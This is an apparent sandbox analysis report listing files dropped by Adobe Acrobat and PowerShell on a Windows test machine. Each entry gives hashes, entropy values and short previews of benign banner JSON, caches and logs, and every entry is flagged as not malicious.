C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282148108314833
Encrypted:	false
SSDEEP:	6:YEQXJ2HXluAQRoRp2KYvB3/dVlPIHAR0YxWHKoAvJfYdPeUkwRe9:YvXKXZQ+p2pvR/ZwHAmGg8Ukee9
MD5:	629BBD18EEABC495E2858FCCBD889209
SHA1:	6586774BB2600C9C9D68A3D54E85489FEC67189B
SHA-256:	3B6AE1E1F03DFB46C892325FC5868B478C0DF56D87C9CE503BD80DF79F20E061
SHA-512:	38FFA4086BA887B96EF20A2070D1BC28B6C1EE5862BCBEE04AB791CC3DA69F290647AE34068B23001033FF31A1421CD0CF373443F064461C7A1074836A9382FC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.268465540890471
Encrypted:	false
SSDEEP:	6:YEQXJ2HXluAQRoRp2KYvB3/dVlPIHAR0YxWHKoAvJf+dPeUkwRe9:YvXKXZQ+p2pvR/ZwHAmG28Ukee9
MD5:	713554B883BA0F31C67F27E66ED747FC
SHA1:	CC0C55771F65A7CC8962445F5DD91864BAE2D3F2
SHA-256:	F57C90DE08A096BF60C22AA38110E713AD6D82E2B332CEF8C4CA47CDE6DAA1FF
SHA-512:	4C70AF8EE4CF79C021DAE272AA853C8DD9D0541556728A79F0A1E771207BC8A41DAAA283202E277D3A68394F86914B982BA27D5E97D9D25BC7AD1423B1992661
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.26581789940234
Encrypted:	false
SSDEEP:	6:YEQXJ2HXluAQRoRp2KYvB3/dVlPIHAR0YxWHKoAvJfbPtdPeUkwRe9:YvXKXZQ+p2pvR/ZwHAmGDV8Ukee9
MD5:	E6421CB339EA0B95AE38FCA9751FF899
SHA1:	64E3ACBB52DE631479458868F4447A0BF0B745B4
SHA-256:	3B1BB137D428C597C0D5540377CA467E28D8F8030276C57110DB1045BCB25E33
SHA-512:	2709CEE4322F0D3FD66C2FB4EDB3E2A91A90A7D82A14F2C122C28AACA6126ECA2381A1C465A0CA30F0BF36AF6DF7246AC2367E9A2077270114B7823EAE79B8B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.264299371192203
Encrypted:	false
SSDEEP:	6:YEQXJ2HXluAQRoRp2KYvB3/dVlPIHAR0YxWHKoAvJf21rPeUkwRe9:YvXKXZQ+p2pvR/ZwHAmG+16Ukee9
MD5:	313F1B81A0D87511BCFD10A8DDD0AC41
SHA1:	C683ABB6EC86A9E80004495ADC24BA94DAE17ED0
SHA-256:	1A09FE3FC11F0983509F2BF3CEB4A59D4EC3C4B013179A6352D57D1FA2AF128D
SHA-512:	6C7E45F330F47F93B0222975EAFF71C43656AC9FA7FD3E7F22DFD9622CCDB45E9D0B4CBC324E5B7860259B50390D156461A1744CF48374310D9EC9DD2A5AF2DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668719469856367
Encrypted:	false
SSDEEP:	24:Yv6XRp2pJhvamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSX:YvI2JhHBgkDMUJUAh8cvMX
MD5:	C3FE48A890EF2E1BB71DB08B9D892CF6
SHA1:	400ADC6DCC91331D9CED8773A8A29A4AF0EBB2EA
SHA-256:	A8604877BEAFC6CB1D62A267EFED3F5FC25A04F1385F1DF9F8385E5233E8FCC9
SHA-512:	608F3AE86B23A9B681FAF40ABBA83DC4BE3DC756A21943EA8DB9E694936A024B98B0FCC35545006FF66C6308EABD25A3F6C0DECAB462B8F6A73BF5AC9556ADD5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.241727594926666
Encrypted:	false
SSDEEP:	6:YEQXJ2HXluAQRoRp2KYvB3/dVlPIHAR0YxWHKoAvJfshHHrPeUkwRe9:YvXKXZQ+p2pvR/ZwHAmGUUUkee9
MD5:	E9FF73DE19B6BE73E163E785C101E6A2
SHA1:	08D5B2D99F08F12CCA654DB7EC288497C1239885
SHA-256:	79E07C958B4A3A9708DCBAE6CD0B299D039BA7C8D0D1F20FFE8E5C14AAF49F09
SHA-512:	8230F0FB8602E8A884C6838751794BF4A8799E5726F5F07FBBD482DF26DB4BC71C06391238DA38C2F8BAD7D5A31B0F294C1539609BD4ED43E3AD232923E60D3F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.262537164300854
Encrypted:	false
SSDEEP:	6:YEQXJ2HXluAQRoRp2KYvB3/dVlPIHAR0YxWHKoAvJTqgFCrPeUkwRe9:YvXKXZQ+p2pvR/ZwHAmGTq16Ukee9
MD5:	0C4DB76C54CB6E8D9544A9BBE5C00477
SHA1:	F2C0E10FC70E981F8257B7AD8F96AA28AB140682
SHA-256:	C396F5E9371461DB3D3B9287C5C36FD410571A413F53C48547AB49829D2B7BB9
SHA-512:	50627B6C93113B0661CC082DA3F82BE54525C13084B1880084C5FC26BD28A8AD9E3911054A9D65064E9766AAFD6A9249EE8428AC1E4800CF487EF4062D7C638B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144869185399338
Encrypted:	false
SSDEEP:	48:YrlS5QfM9vP+WCLIqHOPqF1ZNUoihp79E:z5QfM9uW5jeEoEJE
MD5:	A29693CCEF848996EC8E0BED691F6068
SHA1:	2779A9BF725FF153AF0EBE11CA17BEB55CD1AAC9
SHA-256:	07F50D976236320A30381A6436F314130424496C8B29EF4514A0858F223955AF
SHA-512:	04C4AC1FE5997BEC6F187A7EF35BDCB5FBDD0764B3DBA116143203CDBBFBF357B7176536708817122ABB2F008FFCA6EEC28365CFC1D5B0748BBDF25688D44DAF
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c49a020264c750fb77e0284b1d4adcbb","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736566499000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4035fc56b87a6ec57aac41a31abcd066","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736566499000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f613b9deb08f0a60e64cd4713e2dc478","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736566499000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"92b7b228a5c70ed690483ebdfc480305","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736566499000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"791b66a9f244f21dd5476b5ba9f79761","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736566499000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a4661ebb2508d350df15392f3a249858","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3187583789019222
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeWQ2xtqa:TGufl2GL7ms9WR1CPmPbPahaypilI2
MD5:	0AA9BDE910CB96EF3F850308255BDADE
SHA1:	A5F3301A14D2E96642D4D6075A02DBF696EA884F
SHA-256:	B7598C2865C674EB1CD8078643C761607893475CAF95CB0B4CAEAC8C6D1B3338
SHA-512:	A56166A61CD7E0CB8F120AAEE90F3F6534DBC25DFE7D469468865E7A1EA47D01D4C44317B4FC2612725F8BFFD9F605704AC1359C035746BACF9C3D1CAF5319ED
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7802300316156203
Encrypted:	false
SSDEEP:	24:7+tYlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeWQ2x4qVpaVrScVr0In9qLhW:7MPWR1CPmPbPahLypilIkqFl2GL7msi
MD5:	C4307AC9F5FC29A69FF6F8A326B1B871
SHA1:	07E9B717373963212596B16E2C448699A706000A
SHA-256:	80D6A2B4594DBCFF8C662315F2F95E5CA0FE700AE222E034D8FFB65D942F5B0B
SHA-512:	C5FCD4D75EC70116B5513DF19CC68FC3C7FFBDF25284AF572A8DE6A530A9B0B761500391C86BD33805E978ACF5200A05D8AA9AD396856489EC90ACB6210E2B2E
Malicious:	false
Preview:	.... .c.....OS{...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg8x7DIOEZdGYYcJXkMCrxQ9AmbQpQY4Yyu:6a6TZ44ADE8x7DceYFXkTxQqYK
MD5:	108AC7FD7B9887904CABFF3831B91C90
SHA1:	9FF0E3BC714BCD7116C384D471447B91BCA3AED1
SHA-256:	6D2004974CD9FCE49F1CE9E4371548CEA2D8887B7037F7718AE6AD8B34ABD252
SHA-512:	CAC9B3B067E34D5678818576BD1C00FD034D06F1E011381F1C79DFB321744A2DEB40C44FF9CCCA2787FF92E51DCBC114557433D2D87B1AFF6E8C650A499432D4
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIba4bc.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClUlDt:Qw946cPbiOxDlbYnuRK+bLb
MD5:	98B2A828175F849B750B0CF7607F2C36
SHA1:	4B0AC7F02CB339B1746C8EE9DEAC33F0E5D80F43
SHA-256:	159D33739CF3B19F9D86070E0F409E91F51F4ECF4B6336D6301479D2BD95E16C
SHA-512:	48C53369F95D7E2997ED2A7B8F04A9FEC61F551B7C2647524C0EAFD4E8E6EF35D7FBE94CE7B3EFDFEB776BF41A8C34FAD16A3961DE5D99D5241FB36CB4D58314
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.3.4.:.5.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ehgbq0l1.4f0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xvkl5ltf.5bq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91j5a65p_1085gyw_65c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-34-52-671.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.33364691391121
Encrypted:	false
SSDEEP:	384:hhH346tnGVQ296oKTAKUhz/VAVcV9VuVzqNU2I/ojcjOjGjTOxfEBrjl1nWej/6n:JHU2qXgq
MD5:	D158FA7C45B47FFB455021342B1D7219
SHA1:	21109CF27584768E84D678A1FACCC5BD9CF2C607
SHA-256:	7B62D45A40598628ECED614F8127FB497789F08F4BB15863D757CF1896222787
SHA-512:	CBDB4C51144251604333176C0D7C7D34A58AEFE0690120265A6CBAF8332066C53CB0144AD4D9F381751F1A020F7411D907787E21E9DD9FCBCED10D1FB4BC209D
Malicious:	false
Preview:	SessionID=a6e92a58-7d84-4045-aad6-c0fe87ae8e95.1736566492684 Timestamp=2025-01-10T22:34:52:684-0500 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a6e92a58-7d84-4045-aad6-c0fe87ae8e95.1736566492684 Timestamp=2025-01-10T22:34:52:685-0500 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a6e92a58-7d84-4045-aad6-c0fe87ae8e95.1736566492684 Timestamp=2025-01-10T22:34:52:685-0500 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a6e92a58-7d84-4045-aad6-c0fe87ae8e95.1736566492684 Timestamp=2025-01-10T22:34:52:686-0500 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a6e92a58-7d84-4045-aad6-c0fe87ae8e95.1736566492684 Timestamp=2025-01-10T22:34:52:686-0500 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.403207966239781
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbW4cbOI2kcbZ:ceo4+rsC8F27
MD5:	E8503C73887332FA5EB0DEF379AEC349
SHA1:	D3B7422BE073E77E232BBC461E9AF62181D19D65
SHA-256:	C196825994514B56547CB76B82E3D60FAB05375FAC866766EE5172A827347AED
SHA-512:	AD6AC63933332F02C05B81E3BED53442BDFC2AC2E5C2BE1C95B7A3DAFDA33CD17BC36988292A92020A293B269B62259971664C888EB8ED103C53C21B7664BF4D
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\07c4b8e8-9930-484b-bcd0-5596088eccc1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
